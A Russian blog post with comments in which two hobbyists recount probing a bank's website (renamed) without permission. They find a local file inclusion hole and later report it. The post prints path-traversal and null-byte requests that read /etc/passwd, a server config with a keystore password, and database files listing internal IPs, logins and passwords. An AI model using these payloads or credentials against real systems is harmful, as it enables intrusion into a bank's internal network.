История одного проникновения

    Топики о ловли хакеров заставили меня написать этот пост.

    Хочу поделиться с вами историей, которая случилась со мной несколько лет назад.

    Сразу скажу, мое увлечение — безопасность веб-приложений.

    Случайно гуляя по интернету, мой друг нашел сайт для отправки бесплатных смс на номера украинских операторов. Там мы нашли небольшую уязвимость, связанную с обходом теста Тьюринга (каптчи).
    Так как я и мой друг любим искать уязвимости, мы играли в игру, смыслом которой, кто из нас быстрей обойдет каптчу.
    Но сегодня рассказ не об этом, а о том, что же было дальше нами обнаружено.



    Однажды, мой друг, просматривая исходный код страницы сайта для отправки бесплатных смс обнаружил интересный HTML код:
    <A HREF="#" onClick="javascript:window.open('https://hackbank.ua/test.php?code=MOBILE&state=2&xslt_url=service_host.xsl', ' 'quickpay','toolbar=0,status=0,menubar=0,scrollbars=0,width=650,height=400',false);" CLASS="header"><IMG SRC="www.sms1.ua/img/topupeasy.jpg" WIDTH="82"
    HEIGHT="34" ALT="Пополняй легко!" BORDER="0" VSPACE="0"></A>  


    Ссылка, которая по логике должна скачивать файл на компьютер была для нас очень даже интересной.

    Не прошло и 5 минут как мы обнаружили уязвимость Local File Inclusion

    Уязвимость заключалась в следующей ссылке:

    hackbank.ua/test.php?code=MOBILE&state=2&xslt_url=<local_file>


    С помощью этой уязвимости можно читать локальные файлы прямо в браузере.

    Мы сделали запрос к серверу на несуществующий файл, и вот что получили:

    Запрос на url:
    hackbank.ua/test?&xslt_url=0


    Ответ сервера был примерно таким:
    500 Servlet Exception                                                                                         

    ...........................

    Resin-3.0.s060216 (built Thu, 16 Feb 2006 09:17:50 PST)  



    Честное слово, я тогда первый раз услышал о Resin'е
    А Resin — это высокопроизводительный сервер приложений включающий в себя такие черты как масштабируемость, и распределение нагрузки.

    Информация о продукте, которую нам удалось узнать в Википедии на то время:

    Логотип компании Caucho Technology, Inc.
    Тип Сервер приложений
    Разработчик Caucho Technology, Inc.
    ОС Кроссплатформенное программное обеспечение
    Текущая версия 3.1.1 — май 2007
    Лицензия GPL Собственническое ПО
    Сайт www.caucho.com (англ.)

    Информация в Википедии


    После скачиванию этого ПО, мы приступили к его изучению.

    И так, структура папок программного обеспечения Resin:

    ¦   configure
    ¦   httpd.exe
    ¦   LICENSE
    ¦   Makefile.in
    ¦   README
    ¦   setup.exe
    ¦
    +---automake
    ¦       config.guess
    ¦       config.sub
    ¦       install-sh
    ¦       ltmain.sh
    ¦       missing
    ¦
    +---bin
    ¦       httpd.sh
    ¦
    +---conf
    ¦       app-default.xml
    ¦       development.conf
    ¦       fine.conf
    ¦       minimal.conf
    ¦       password.xml
    ¦       resin-3_1.conf
    ¦       resin-admin.xml
    ¦       resin.conf
    ¦
    +---contrib
    ¦       init.resin-iptables
    ¦       init.resin.in
    ¦
    +---lib
    ¦       activation.jar
    ¦       eclipse-compil






    А теперь давайте вернемся к уязвимости.

    Начнём с классики:
    По ссылке hackbank.ua/test?xslt_url=../../../../../../etc/passwd

    получаем такой вывод:

    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
    news:x:9:13:news:/etc/news:
    uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
    operator:x:11:0:operator:/root:/sbin/nologin
    games:x:12:100:games:/usr/games:/sbin/nologin
    gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
    nobody:x:99:99:Nobody:/:/sbin/nologin
    vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
    rpm:x:37:37::/var/lib/rpm:/sbin/nologin
    nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
    ident:x:100:101::/home/ident:/sbin/nologin
    netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
    sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
    rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
    rpcuser:x:29:29:RPC Servic


    Потом мы начали искать, где локально хранится папка /conf сервера Resin
    И нашли, довольно быстро.
    Конфиг — это XML файл. Который был доступен по ссылке hackbank.ua/test?xslt_url=../../../../../../conf/resin.conf%00

    %00 — это null-byte, говорит веб-серверу, что это конец строки.


    Далее смотрим исходный код полученного файла.
    <?xml version="1.0" encoding="utf-8"?>
    <resin xmlns:resin="caucho.com/ns/resin/core" xmlns="caucho.com/ns/resin">
      <server>
        <http port="1080"/>
        <http port="10443">
          <jsse-ssl>
            <key-store-type>JKS</key-store-type>
            <key-store-file>keys/hackbank.jks</key-store-file>
            <password>fynbxfn</password>
            <key-manager-factory>6645b</key-manager-factory>
            <ssl-context>SSL</ssl-context>
          </jsse-ssl>
        </http>
        <host id="" root-directory=".">
          <access-log path="log/access.log" format="%h %l %u %t &quot;%r&quot; %s %b &quot;%i&quot; &quot;%i&quot;" rollover-period="1W"/>
          <stderr-log path="log/stderr.log" timestamp="[%Y.%m.%d %H:%M:%S.%s] " rollover-period="1W"/>
          <stdout-log path="log/stdout.log" rollover-period="1W"/>
          <log path="log/server.log" timestamp="[%Y.%m.%d %H:%M:%S.%s] " rollover-period="1W"/>
          <web-app id="/" document-directory="webapps/ROOT"/>
          <ear-deploy path="deploy">
            <ear-default ejb-server-jndi-name="java:comp/env/ejb">
              <ejb-server jndi-name="java:comp/env/ejb"/>
            </ear-default>
          </ear-deploy>
          <web-app-deploy path="webapps"/>
          <resource-deploy path="deploy"/>
          <web-app-deploy path="deploy"/>
        </host>
        <resin:import path="$/conf/db-pool.xml"/>
        <resin:import path="$/conf/c2b-db-pool.xml"/>
        <resin:import path="$/conf/db-pool-qp.xml"/>
        <resin:import path="$/conf/hb-default.xml"/>
        <resin:import path="$/conf/resin-status.xml"/>
      </server>
      <resin:import path="$/conf/resin-common.xml"/>
    </resin>


    Здесь все логи веб-сервера:

    hackbank.ua/test?xslt_url=../../../../../../log/access.log
    hackbank.ua/test?xslt_url=../../../../../../log/stderr.log
    hackbank.ua/test?xslt_url=../../../../../../log/server.log


    Там ничего интересного мы не нашли. Но мы пошли дальше :)

    Файл ../../../../../../conf/c2b-db-pool.xml%00:

    10.1.101.195:5000
    -----------------
    user     : C2BServer
    password : vsirfysy

    10.1.100.105:5000
    -----------------
    user     : C2BServer
    password : lfktrbq,thtu

    10.1.100.115:5000
    ----------------
    user     : jbkl
    password :123456


    Файл ../../../../../../conf/db-pool.xml%00:

    10.1.101.51:5000
    -------------------
    user     : е16_jag
    password : u4BKoc7U5Edo

    10.1.100.77:5000
    -------------------
    user     : hskl
    password : hsklhskl

    10.1.99.49:4100
    ------------------
    user     : wbpfo_p424
    password : aUKlOfcvT4YmAnk

    10.1.99.82:5000
    ------------------
    user     : P24CVC
    password : Login_4_P424CVC


    Угадайте что это? Правильно, это доступ к другим серверам внутренней сети банка :)

    На следующий день, мы написали письмо, описали все уязвимости, которые нам удалось найти. И отправили письмо на почту банка. Через 3 недели уязвимости присутствовали. Мы отправили ещё раз письмо, и через неделю на радость нам уязвимости починили.

    Этой статьей мы не хотели кого-то обидеть, просто хотим донести миру, что защищенных систем не бывает. Нанимайте профессионалов, которые будут делать вам аудит информационных систем.

    По всем вопросам обращайтесь на vadim@g-sg.net

    * Внимание! Все ссылки, а также название банка изменены по соображениям анонимности *


    Спасибо за внимание!

    UPD. Все ошибки в тексте пишите в приватные сообщения. Спасибо!
    Поделиться публикацией
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама
    Комментарии 68
    • +36
      Сегодня прям наплыв историй о хакерах… Весна наверное…
      • +1
        «Топики о ловли хакеров заставили меня написать этот пост.» :D

        Приходит ко мне топик про хакеров и говорит:
        — НАПИШИ ПРО МЕНЯ, КОРРРРНЕЙ!!!

        Я бегом за комп и писать!
      • +12
        хакер.ру переехал на хабр? Уж больно стиль похожий :)
        • 0
          Статья старая, писал давно для тематического форума. Сейчас решил выложить, потому что сердце болит за уязвимые сайты…
          • +6
            <password>fynbxfn</password>

            для этого форума?
          • 0
            что в этом плохого? — написано ведь доходчиво и разжевано для хаберов от хабера
            вы ведать на какер.ру постов не читали детально — там черт ногу сломит — а тут красиво разжеваная cross-scripting атака — здорово короче!

            По топику — нашел ошибки в незашифрованных конфигах и невыставленных chmod'ах на них, логах и passwd. еще почему можно прыгать по директориям (как это выключить?) и на java какие еще опасные модули кроме xslt_url?
            если можно длинный список таких опасных модулей для php, java и тд — буду благодарен! спасибо
            • 0
              короче поставил +59 — немо пиши еще, да подетальней и пережеванее ;))
              • 0
                Вы путаете

                • 0
                  XSS — уязвимость совсем другого типа, и без пользователя бы там никак не обошлось

                  Здесь же раскрутили дыру включения локального файла
              • +1
                «Этой статьей мы не хотели кого-то обидеть, просто хотим донести миру, что защищенных систем не бывает. Нанимайте профессионалов, которые будут делать вам аудит информационных систем. „

                Я бы сказал: не нанимайте “профессионалов» которые подобные грубые ошибки делают.
                • НЛО прилетело и опубликовало эту надпись здесь
                  • 0
                    Спасибо, интересно.
                    Разочаровывает долгая реакция сотрудников банка на информацию, которая должна помочь их работе.
                    • +7
                      А что банк?
                      Приглашения на встречу с чаем, вручения денежной премии, предложения о сотрудничестве или хотя бы ответного письма со словом «спасибо» вы от них дождались?
                      • +5
                        Нет :) Зачем им тратить время на нас, аудиторов ;)
                        • 0
                          Сдаётся мне, что ваше письмо попало авторам системы и никому больше. Не станут же они сами перед начальством подставляться.
                          • 0
                            Да, я тоже так думаю! А чинили, когда было свободное время.
                      • –3
                        Пишите по-русски! Ну пожалуйста!
                        • 0
                          Почти как история в книге: Искусство взлома
                          • –33
                            По мне так Хабр не место, для душещипательных историй о взломе.
                            • +24
                              да, нужна еще одна статья про то, как превратить флешку в кусок дерева ;)
                              • +1
                                А ещё нужна статья, как не ставить лишних запятых (это к PixoiD замечание).
                              • 0
                                как раз отличная статья!
                              • +3
                                А можно вопрос? почему в начале это оператор сотовой связи, а потом банк?
                                • 0
                                  Сорри, это я туплю :(
                                • +4
                                  Ну нашли пароли, а дальше-то что? Толку вам от них? Как-то не закончено, или есть что скрывать? :) Банк все-таки… ))
                                  • +2
                                    Only just for fun!

                                    Это наше хобби, находить и сообщать о уязвимостях.
                                  • +3
                                    Как информационному безопаснику, интересно было почитать. Отличная статья, спасибо.
                                    • 0
                                      На следующий день, мы написали письмо, описали все уязвимости, которые нам удалось найти. И отправили письмо на почту банка.


                                      а чем вы занимались между моментом обнаружения уязвимостей и отправкой письма? ;)
                                      • 0
                                        Мы этим занимались в свободное время, вечером. До поздна искали уязвимости, на следующий день отправили письмо :)

                                        Нашей выгоды никакой.
                                      • +3
                                        Однажды я устроился на работу в одно гос. ведомство.
                                        В первый же день сдал им дырень на их сайте, суть которой была в том, что переменная ?mode вызывалась на серверной стороне тупо и просто eval($mode).
                                        Наверное неприятно им было сидеть до 12-ти ночи латать все скрипты.
                                        Но это еще фигня. Что было когда я им кучу sql-йнъекций показал!.. :) И это был государственный сайт.
                                        • +5
                                          На государственных сайтах России и Украины так принято, это тоже самое что и дороги наши.
                                          • +4
                                            найдите на kremlin.ru уязвимости) не все так плохо на ру-гос-сайтах.
                                            • 0
                                              ну нет, всё-таки и у хакеров есть стоп-урлы
                                              • 0
                                                Это радует что хоть один гос-сайт может похвастаться защитой, но во всех остальных я почему-то сомневаюсь))
                                                • 0
                                                  Это защита другого рода, не программная :)
                                            • 0
                                              Обычное дело :)
                                            • –12
                                              Нанимайте профессионалов, которые будут делать вам аудит, прогуливая уроки рускаво езыка.
                                              +7 ХХХХХХХХХ если возьмёт мама — попросите позвать Вадика
                                              • +4
                                                Опасная это штука.

                                                Знакомый как-то поведал. Фирма, где он работал, технически поддерживала веб сайт города. И однажды, админам пришло письмо подобное вашему — мол нашел дыры такие-то, почините. Но админы почему-то заморачиваться не стали и сообщили в «милицию» (я не знаю точного названия организации/отдела) о взломе сайта. На следующий день «злоумышленника» нашли, и дело направили в суд. Чем закончилось — не знаю.
                                                • 0
                                                  Да, такое в нашей стране возможно. Слышал подобные истории. Просто я чист перед законом. Я сообщил информацию сначала им, и только ПОСЛЕ исправления ВСЕХ уязвимостей об этой информации узнали третьи лица. Я такого закона не знаю, под которым я буду виноват…
                                                  • +4
                                                    Сам был в подобной ситуации… такой вот аудит в 2001 году сайта областного департамента статистики… тоже письмо админу… админ недолго думаю в милицию… так вот если бы в банке написали заявление это как минимум была бы статья Статья 272 УК РФ. Неправомерный доступ к компьютерной информации — раз вы были вдвоем, то это часть вторая, до 5 лет лишения свободы…
                                                    нам в свое время относительно повезло, удалось замять… отделались по разному: кого то с универа отчислили, кого то с общежития турнули…
                                                    • НЛО прилетело и опубликовало эту надпись здесь
                                                    • +1
                                                      чист перед законом

                                                      Это какой-то очень странный аргумент с вашей стороны… вам или 15 лет или вы сказочно, запредельно наивны. Вас запросто могли посадить за ваше доброе дело.

                                                    • 0
                                                      Обвинительным приговором кончилось, естественно. Сейчас оправдательных приговоров в суде звучит в десятки раз меньше, чем при Сталине, например.
                                                    • 0
                                                      Как по мне бред сливать в «милицию» за то что указали на дыру, другое дело когда тот кто указал что то сломал (например, сделал дефейс). А то как бЭ получается что прохожему показали что у него шнурки развязаны, а тот в «милицию».
                                                      • 0
                                                        Ну, бред или нет, я лишь хотел сказать, что если и указывать на дыру, то так, чтобы тебя не нашли :)
                                                        Хотел как лучше, а получилось как всегда (с)
                                                        • 0
                                                          То же самое, кстати, касается возврата найденных документов и проч. материальных ценностей. Ведь Добро не должно остаться безнаказанным, у нас это весьма актуально.

                                                          Вообще, заниматься подобными топикстартеру делами без согласия (письменного), имхо, рискованного.
                                                      • 0
                                                        честно говоря, у меня те же опасения.
                                                        Выход есть, конечно: работать через левые прокси-серверы или Tor. Но это геморный выход.
                                                        • 0
                                                          Мдя. Доброе дело (предупреждать о дырах то бишь) нужно делать анонимно, проксированно, vpn-но и через ботов.
                                                        • +2
                                                          Не в обиду будет сказано, но прям журнал ][акер какой-то…
                                                          • 0
                                                            И что? Статья выходит за рамки сообщества?
                                                            Совсем нет.
                                                          • +14
                                                            «История одного проникновения» — отличное название для любовного романа!)
                                                          • 0
                                                            А db-accounts там случаем не было?
                                                            • 0
                                                              Блин. «Расчётный счёт» и у«чётная запись» звучат одинаково.
                                                              Речь шла о БД с денюшками :)
                                                            • 0
                                                              сколько людей не учи но все равно:

                                                              • 0
                                                                10.1.100.115:5000
                                                                — user: jbkl
                                                                password :123456

                                                                о_О само отправилось предыдущие
                                                              • 0
                                                                Раз уж пишете
                                                                Resin-3.0.s060216 (built Thu, 16 Feb 2006 09:17:50 PST)
                                                                то скрывать название банка бессмысленно :) Кто в теме — то и знает, кто не знает но интересно — нагуглит :)
                                                                • +3
                                                                  ПриватБанк? =)
                                                                  • +1
                                                                    Конечно-же :)
                                                                    • +1
                                                                      Страно, но я о нем сразу и подумал))
                                                                      • 0
                                                                        логин P24CVC сразу натолкнул на мысль о Приват24 )
                                                                • 0
                                                                  Через 3 недели уязвимости присутствовали. Мы отправили ещё раз письмо

                                                                  Зря. Законы эволюции — полезная вещь, а вы помешали им выполнить свое дело.
                                                                  • 0
                                                                    Недели ловли хакеров на хабре?
                                                                    • 0
                                                                      Недавно обнаружил уязвимость в одном интернет магазине. Закрыли тоже только после второго письма (через две недели). Ожидал письма с благодарностью но не дождался =)
                                                                      Наверно банк и тот магазин один админ обслуживает =)
                                                                      • +2
                                                                        Весна на хабре. Сплошные истории проникновений.
                                                                        • 0
                                                                          Заголовок в стиле порнхабра :)
                                                                          • –1
                                                                            > доступ к другим серверам внутренней сети банка
                                                                            и что? вы получили доступ к ним? или к счетам? или к чему-то полезному? нет, фиг. так что не такая уж страшная эта уязвимость.

                                                                            Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.